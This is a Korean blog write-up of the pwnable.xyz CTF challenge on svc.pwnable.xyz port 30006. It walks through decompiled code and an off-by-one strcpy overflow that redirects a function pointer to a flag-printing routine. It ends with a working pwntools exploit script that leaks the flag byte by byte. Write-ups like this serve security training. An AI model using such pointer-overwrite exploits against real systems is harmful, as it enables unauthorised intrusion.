

Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

음.. flag를 load해서 key로 암호화해서 print되는 실행파일 같은데 설마 복호화 문제는 아니겠지..?
[main]
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
signed int v4; // eax
unsigned int v5; // ST0C_4
setup();
puts("Muahaha you thought I would never make a crypto chal?");
v3 = (_BYTE *)(&word_3E + 1);
generate_key(63);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu(v3);
v3 = "> ";
printf("> ", argv);
v4 = read_int32();
if ( v4 != 2 )
break;
load_flag();
}
if ( v4 > 2 )
break;
if ( v4 != 1 )
goto LABEL_12;
printf("key len: ");
v5 = read_int32();
v3 = (const char *)v5;
generate_key(v5);
}
if ( v4 == 3 )
{
print_flag();
}
else if ( v4 != 4 )
{
LABEL_12:
v3 = "Invalid";
puts("Invalid");
}
}
}
main에서는 입력된 메뉴 인덱스에 따라 함수를 실행시켜준다. "1"을 입력했을 때 실행되는 generate_key함수부터 확인해보자.
[generate_key]
unsigned __int64 __fastcall generate_key(signed int key_len)
{
signed int i; // [rsp+18h] [rbp-58h]
int fd; // [rsp+1Ch] [rbp-54h]
char s[72]; // [rsp+20h] [rbp-50h]
unsigned __int64 v5; // [rsp+68h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( key_len > 0 && (unsigned int)key_len <= 0x40 )
{
memset(s, 0, 0x48uLL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, s, key_len);
for ( i = 0; i < key_len; ++i )
{
while ( !s[i] )
read(fd, &s[i], 1uLL);
}
strcpy(key, s);
close(fd);
}
else
{
puts("Invalid key size");
}
return __readfsqword(0x28u) ^ v5;
}
입력받는 key의 길이는 1이상 64이하의 값이어야 한다.
memset함수로 s를 0x40만큼 0으로 초기화해준 후 /dev/urandom을 열어서 key_len만큼 s에 입력을 받는다.
만약 중간에 0이 들어있으면 그 부분을 채워주고 strcpy로 key변수에 s의 값을 써준다.
여기서 strcpy는 문자열을 복사 후 뒤에 널문자도 추가해준다.

key의 크기는 0x40이므로 만약 s에 0x40만큼의 값이 써져있다면 1byte overflow가 되어 do_comment를 0으로 덮어씌울 수 있다.
다음으로 load_flag함수를 확인해보자.
[load_flag]
int load_flag()
{
unsigned int i; // [rsp+8h] [rbp-8h]
int fd; // [rsp+Ch] [rbp-4h]
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
read(fd, flag, 0x40uLL);
for ( i = 0; i <= 0x3F; ++i )
flag[i] ^= key[i];
return close(fd);
}
flag파일을 open한 뒤에 0x40byte만큼 flag변수에 읽어들인다. 그 후 flag와 key에 들어있는 값을 1byte씩 xor연산을 해준 후 다시 flag변수에 저장한다. 여기서는 do_comment가 사용되지 않는다.
마지막으로 print_flag변수도 확인해보자.
__int64 print_flag()
{
__int64 result; // rax
puts("WARNING: NOT IMPLEMENTED.");
result = (unsigned __int8)do_comment;
if ( !(_BYTE)do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 'y' )
do_comment = (__int64 (*)(void))f_do_comment;
result = do_comment();
}
return result;
}
만약 do_comment가 0이고 "Wanna take a survey instead?"라는 질문에 "y"라고 대답하면 do_comment에 f_do_comment라는 함수의 주소를 넣어준 후 실행시켜준다. print flag라면서 flag를 출력해주지도 않는다..
[f_do_comment]
unsigned __int64 f_do_comment()
{
char buf; // [rsp+10h] [rbp-30h]
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter comment: ");
read(0, &buf, 0x21uLL);
return __readfsqword(0x28u) ^ v2;
}
그냥 buf에 0x21byte만큼 입력해주는 함수인데 이 부분을 이용해서 무언가를 할 수 있을 것 같지는 않다..
이 함수들 말고 real_print_flag라는 함수도 존재했다.
[real_print_flag]
int real_print_flag()
{
return printf("%s", flag);
}
print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.

real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.
그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.

이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.
만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.

한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.
[payload]
from pwn import *
#context.log_level = 'debug'
r = remote("svc.pwnable.xyz", 30006)
#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")
#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")
#find flag
flag = "F"
for i in range(1,33):
#set 0x00
r.sendlineafter("> ", "1")
r.sendlineafter(": ", str(i))
#load flag
r.sendlineafter("> ", "2")
#print flag
r.sendlineafter(">", "3")
r.sendlineafter("? ", "r")
flag += r.recv(64)[i]
print "flag : " + flag
'pwnable > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] Jmp table (0) | 2020.05.30 |
---|---|
[pwnable.xyz] Free Spirit (0) | 2020.05.26 |
[pwnable.xyz] two targets (0) | 2020.05.26 |
[pwnable.xyz] xor (0) | 2020.05.19 |
[pwnable.xyz] note (0) | 2020.05.08 |